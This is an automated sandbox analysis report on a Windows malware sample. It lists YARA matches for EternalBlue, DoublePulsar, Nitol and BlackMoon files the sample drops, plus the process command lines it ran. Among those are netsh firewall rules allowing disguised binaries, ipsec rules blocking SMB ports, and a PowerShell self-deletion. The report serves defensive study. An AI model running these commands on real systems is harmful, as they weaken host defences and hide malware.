Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 63.0.Wmicc.exe.4242e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1 date = 2017-04-15, hash1 = 3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance_2 date = 2017-04-15, hash3 = 92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\coli-0.dll, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Users\user\Desktop\MSSQLH.exe, type: DROPPED	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: C:\Users\user\Desktop\MSSQLH.exe, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Wmicc.exe, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@88/180@20/100

Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_00406B1E OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	1_2_00406B1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_1000BE99 OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	8_2_1000BE99
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00414110 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,	11_2_00414110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0040D180 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	11_2_0040D180

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00413550 GetVersionExA,sprintf,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetTickCount,sprintf,GetUserNameA,atol,atol,GetDriveTypeA,GetDiskFreeSpaceExA,OpenSCManagerA,OpenServiceA,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,atoi,_mbscmp,_mbsstr,GetSystemDirectoryA,lstrcatA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,wsprintfA,

11_2_00413550

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: OpenSCManagerA,CreateServiceA,CloseServiceHandle,CloseServiceHandle,

1_2_0040B547

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: 1_2_00405840 CreateToolhelp32Snapshot,Process32First,CloseHandle,Process32Next,FindCloseChangeNotification,

1_2_00405840

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_10015F20 LoadTypeLib,GetUserDefaultLCID,LHashValOfNameSys,RegisterTypeLib,CLSIDFromProgID,CLSIDFromString,CoCreateInstance,CoCreateInstance,CoCreateInstance,OleRun,

8_2_10015F20

Source: C:\Windows\Temp\Wmicc.exe

Code function: 63_2_00419AE8 __EH_prolog,FindResourceA,LoadResource,LockResource,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow,

63_2_00419AE8

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: 1_2_0040BF4D OpenSCManagerA,OpenServiceA,ChangeServiceConfigA,CloseServiceHandle,CloseServiceHandle,

1_2_0040BF4D

Source: C:\Users\user\Desktop\38iGnQnL33.exe

File created: C:\Users\user\Desktop\MSSQLH.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6688:120:WilError_03
Source: C:\Windows\Temp\MpMgSvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Brute_2024
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4124:120:WilError_03
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Google_DRIVE
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9316:120:WilError_03

Source: C:\Windows\Temp\MpMgSvc.exe

File created: C:\Windows\Temp\Wmicc.exe

Jump to behavior

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 38iGnQnL33.exe	ReversingLabs: Detection: 71%
Source: 38iGnQnL33.exe	Virustotal: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\38iGnQnL33.exe "C:\Users\user\Desktop\38iGnQnL33.exe"
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Process created: C:\Users\user\Desktop\MSSQLH.exe C:\Users\user\Desktop\MSSQLH.exe
Source: unknown	Process created: C:\Windows\Temp\MpMgSvc.exe "C:\WINDOWS\Temp\MpMgSvc.exe"
Source: unknown	Process created: C:\Windows\Temp\Hooks.exe "C:\WINDOWS\Temp\Hooks.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
